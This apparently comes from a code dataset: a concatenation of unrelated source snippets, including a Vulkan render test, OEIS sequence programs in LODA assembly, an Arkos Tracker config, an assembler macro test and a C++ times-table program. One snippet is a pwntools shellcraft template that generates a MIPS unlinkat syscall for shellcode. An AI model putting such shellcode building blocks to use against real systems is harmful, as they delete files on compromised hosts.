vkBeginCommandBuffer(cmd, vkh::CommandBufferBeginInfo());
VkImage swapimg =
StartUsingBackbuffer(cmd, VK_ACCESS_TRANSFER_WRITE_BIT, VK_IMAGE_LAYOUT_GENERAL);
vkCmdClearColorImage(cmd, swapimg, VK_IMAGE_LAYOUT_GENERAL,
vkh::ClearColorValue(0.2f, 0.2f, 0.2f, 1.0f), 1,
vkh::ImageSubresourceRange());
vkCmdBindPipeline(cmd, VK_PIPELINE_BIND_POINT_GRAPHICS, pipe);
vkCmdBeginRenderPass(
cmd, vkh::RenderPassBeginInfo(renderPass, fbs[mainWindow->imgIndex], mainWindow->scissor,
{{}, vkh::ClearValue(0.9f, 0xcc)}),
VK_SUBPASS_CONTENTS_INLINE);
vkCmdSetViewportWithCountEXT(cmd, 1, &mainWindow->viewport);
vkCmdSetScissorWithCountEXT(cmd, 1, &mainWindow->scissor);
vkCmdSetCullModeEXT(cmd, VK_CULL_MODE_BACK_BIT);
vkCmdSetFrontFaceEXT(cmd, VK_FRONT_FACE_CLOCKWISE);
vkCmdSetPrimitiveTopologyEXT(cmd, VK_PRIMITIVE_TOPOLOGY_TRIANGLE_LIST);
vkCmdSetDepthTestEnableEXT(cmd, VK_TRUE);
vkCmdSetDepthCompareOpEXT(cmd, VK_COMPARE_OP_LESS_OR_EQUAL);
vkCmdSetDepthWriteEnableEXT(cmd, VK_TRUE);
vkCmdSetDepthBoundsTestEnableEXT(cmd, VK_FALSE);
vkCmdSetStencilTestEnableEXT(cmd, VK_TRUE);
vkCmdSetStencilOpEXT(cmd, VK_STENCIL_FACE_FRONT_BIT, VK_STENCIL_OP_INCREMENT_AND_CLAMP,
VK_STENCIL_OP_INCREMENT_AND_CLAMP, VK_STENCIL_OP_INCREMENT_AND_CLAMP,
VK_COMPARE_OP_ALWAYS);
VkDeviceSize offs = 0, size = sizeof(tris), stride = sizeof(DefaultA2V);
vkCmdBindVertexBuffers2EXT(cmd, 0, 1, &vb.buffer, &offs, &size, &stride);
vkCmdDraw(cmd, 6, 1, 0, 0);
vkCmdEndRenderPass(cmd);
FinishUsingBackbuffer(cmd, VK_ACCESS_TRANSFER_WRITE_BIT, VK_IMAGE_LAYOUT_GENERAL);
vkEndCommandBuffer(cmd);
Submit(0, 1, {cmd});
Present();
}
return 0;
}
};
REGISTER_TEST();
|
; A296021: Number of primes of the form 4*k+1 <= 4*n+1.
; 0,1,1,2,3,3,3,4,4,5,6,6,6,7,7,8,8,8,9,9,9,9,10,10,11,12,12,13,14,14,14,14,14,14,15,15,15,16,16,17,17,17,17,18,18,19,19,19,20,21,21,21,21,21,21,21,21,22,23,23,24,24,24,24,25,25,25,26,26,27,28,28,28,29,29,29,29,29,30,31,31,31,31,31,32,32,32,33,34,34,34,34,34,35,35,35,35,36,36,37
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
mul $0,4
seq $0,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
add $1,$0
lpe
mov $0,$1
|
; A164135: Numbers k such that k^2 == 2 (mod 47).
; 7,40,54,87,101,134,148,181,195,228,242,275,289,322,336,369,383,416,430,463,477,510,524,557,571,604,618,651,665,698,712,745,759,792,806,839,853,886,900,933,947,980,994,1027,1041,1074,1088,1121,1135,1168,1182,1215,1229,1262,1276,1309,1323,1356,1370,1403,1417,1450,1464,1497,1511,1544,1558,1591,1605,1638,1652,1685,1699,1732,1746,1779,1793,1826,1840,1873,1887,1920,1934,1967,1981,2014,2028,2061,2075,2108,2122,2155,2169,2202,2216,2249,2263,2296,2310,2343,2357,2390,2404,2437,2451,2484,2498,2531,2545,2578,2592,2625,2639,2672,2686,2719,2733,2766,2780,2813,2827,2860,2874,2907,2921,2954,2968,3001,3015,3048,3062,3095,3109,3142,3156,3189,3203,3236,3250,3283,3297,3330,3344,3377,3391,3424,3438,3471,3485,3518,3532,3565,3579,3612,3626,3659,3673,3706,3720,3753,3767,3800,3814,3847,3861,3894,3908,3941,3955,3988,4002,4035,4049,4082,4096,4129,4143,4176,4190,4223,4237,4270,4284,4317,4331,4364,4378,4411,4425,4458,4472,4505,4519,4552,4566,4599,4613,4646,4660,4693,4707,4740,4754,4787,4801,4834,4848,4881,4895,4928,4942,4975,4989,5022,5036,5069,5083,5116,5130,5163,5177,5210,5224,5257,5271,5304,5318,5351,5365,5398,5412,5445,5459,5492,5506,5539,5553,5586,5600,5633,5647,5680,5694,5727,5741,5774,5788,5821,5835,5868
mov $3,$0
mov $4,$0
lpb $4
mov $2,$0
mov $0,3
add $1,$2
add $1,1
trn $4,2
lpb $0
sub $0,1
add $1,6
lpe
lpe
lpb $3
add $1,13
sub $3,1
lpe
add $1,7
|
;; Built with `nasm -felf64 cfg.asm -g` and `gcc cfg.o -o cfg.bin`
global main
section .text
main:
push rbp
mov rbp, rsp
mov rcx, 10
xor rax, rax
.loop:
cmp rcx, 0
jle .end
add rax, 2
sub rcx, 1
jmp .loop
.end:
mov rsp, rbp
pop rbp
ret
|
; Configuration that can be included to Arkos Tracker 2 players.
; It indicates what parts of code are useful to the song/sound effects, to save both memory and CPU.
; The players may or may not take advantage of these flags, it is up to them.
; You can either:
; - Include this to the source that also includes the player (BEFORE the player is included) (recommended solution).
; - Include this at the beginning of the player code.
; - Copy/paste this directly in the player.
; If you use one player but several songs, don't worry, these declarations will stack up.
; If no configuration is used, the player will use default values (full code used).
PLY_CFG_ConfigurationIsPresent = 1
PLY_CFG_UseSpeedTracks = 1
PLY_CFG_UseTranspositions = 1
PLY_CFG_UseHardwareSounds = 1
PLY_CFG_UseEffects = 1
PLY_CFG_UseRetrig = 1
PLY_CFG_UseInstrumentLoopTo = 1
PLY_CFG_NoSoftNoHard = 1
PLY_CFG_NoSoftNoHard_Noise = 1
PLY_CFG_SoftOnly = 1
PLY_CFG_SoftOnly_Noise = 1
PLY_CFG_SoftOnly_SoftwareArpeggio = 1
PLY_CFG_SoftOnly_SoftwarePitch = 1
PLY_CFG_SoftToHard = 1
PLY_CFG_SoftToHard_SoftwareArpeggio = 1
PLY_CFG_HardOnly = 1
PLY_CFG_HardOnly_HardwareArpeggio = 1
PLY_CFG_HardOnly_Retrig = 1
PLY_CFG_UseEffect_Legato = 1
PLY_CFG_UseEffect_Reset = 1
PLY_CFG_UseEffect_ForceInstrumentSpeed = 1
PLY_CFG_UseEffect_PitchUp = 1
PLY_CFG_UseEffect_PitchDown = 1
PLY_CFG_UseEffect_PitchTable = 1
PLY_CFG_UseEffect_ArpeggioTable = 1
PLY_CFG_UseEffect_SetVolume = 1
PLY_CFG_UseEffect_VolumeIn = 1
PLY_CFG_UseEffect_VolumeOut = 1
|
; A069894: Centered square numbers: a(n) = 4*n^2 + 4*n + 2.
; 2,10,26,50,82,122,170,226,290,362,442,530,626,730,842,962,1090,1226,1370,1522,1682,1850,2026,2210,2402,2602,2810,3026,3250,3482,3722,3970,4226,4490,4762,5042,5330,5626,5930,6242,6562,6890,7226,7570,7922,8282,8650,9026,9410,9802,10202,10610,11026,11450,11882,12322,12770,13226,13690,14162,14642,15130,15626,16130,16642,17162,17690,18226,18770,19322,19882,20450,21026,21610,22202,22802,23410,24026,24650,25282,25922,26570,27226,27890,28562,29242,29930,30626,31330,32042,32762,33490,34226,34970,35722
add $0,1
bin $0,2
mul $0,8
add $0,2
|
#include <algorithm>
#include <bitset>
#include <climits>
#include <cmath>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <ctime>
#include <deque>
#include <fstream>
#include <iostream>
#include <limits>
#include <list>
#include <map>
#include <numeric>
#include <queue>
#include <set>
#include <sstream>
#include <stack>
#include <string>
#include <unordered_map>
#include <vector>
using namespace std;
int main() {
int n;
cin >> n;
for (int i = 1; i <= 10; i++) {
cout << n << " x " << i << " = " << n * i << endl;
}
return 0;
}
|
; new 'macro' test
;
; test1
macro MyMacro arg0, arg1
call arg0_f
call arg0_arg1
call arg1_arg0
endm
MyMacro abc, def
;should be expanded to:
;
; call abc_f
; call abc_def
; call def_abc
;test 2
macro a0a1 a0, a1
call a0_a1__yyy
endm
macro a1a0 a0, a1
call a1_a0___yyy
endm
macro a1a0a1 a0, a1
call a1____a0__a1
endm
macro a0_a a0
call a0_
endm
macro a0_b a0
call __a0
endm
macro a0_c a0
call _a0_
endm
macro a0a1_a a0, a1
call a0____a1_
endm
macro a0a1_b a0, a1
call a0____yy_a1
call _my___yyyyy____yy__call
endm
a0a1 abc, def
a1a0 abc, def
a1a0a1 abc, def
a0_a abc
a0_b abc
a0_c abc
a0a1_a abc, def
a0a1_b abc, def
;should be expanded as
; call abc_def__yyy
; call def_abc___yyy
; call def____abc__def
; call abc_
; call __abc
; call _abc_
; call abc____def_
; call abc____yy_def
; call _my___yyyyy____yy__call
|
<%
from pwnlib.shellcraft.mips.linux import syscall
%>
<%page args="fd, name, flag"/>
<%docstring>
Invokes the syscall unlinkat. See 'man 2 unlinkat' for more information.
Arguments:
fd(int): fd
name(char): name
flag(int): flag
</%docstring>
${syscall('SYS_unlinkat', fd, name, flag)}
|
; A037124: Numbers that contain only one nonzero digit.
; 1,2,3,4,5,6,7,8,9,10,20,30,40,50,60,70,80,90,100,200,300,400,500,600,700,800,900,1000,2000,3000,4000,5000,6000,7000,8000,9000,10000,20000,30000,40000,50000,60000,70000,80000,90000,100000,200000,300000,400000,500000,600000,700000,800000,900000,1000000,2000000,3000000,4000000,5000000,6000000,7000000,8000000,9000000,10000000,20000000,30000000,40000000,50000000,60000000,70000000,80000000,90000000,100000000,200000000,300000000,400000000,500000000,600000000,700000000,800000000,900000000,1000000000,2000000000,3000000000,4000000000,5000000000,6000000000,7000000000,8000000000,9000000000,10000000000,20000000000,30000000000,40000000000,50000000000,60000000000,70000000000,80000000000,90000000000,100000000000,200000000000,300000000000,400000000000,500000000000,600000000000,700000000000,800000000000,900000000000,1000000000000,2000000000000,3000000000000,4000000000000,5000000000000,6000000000000,7000000000000,8000000000000,9000000000000,10000000000000,20000000000000,30000000000000,40000000000000,50000000000000,60000000000000,70000000000000,80000000000000,90000000000000,100000000000000,200000000000000,300000000000000,400000000000000,500000000000000,600000000000000,700000000000000,800000000000000,900000000000000,1000000000000000,2000000000000000,3000000000000000,4000000000000000,5000000000000000,6000000000000000,7000000000000000,8000000000000000,9000000000000000
mov $3,$0
mov $4,$0
add $4,1
lpb $4
mov $0,$3
sub $4,1
sub $0,$4
mov $2,$0
sub $2,1
div $2,9
mov $5,10
pow $5,$2
add $1,$5
lpe
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.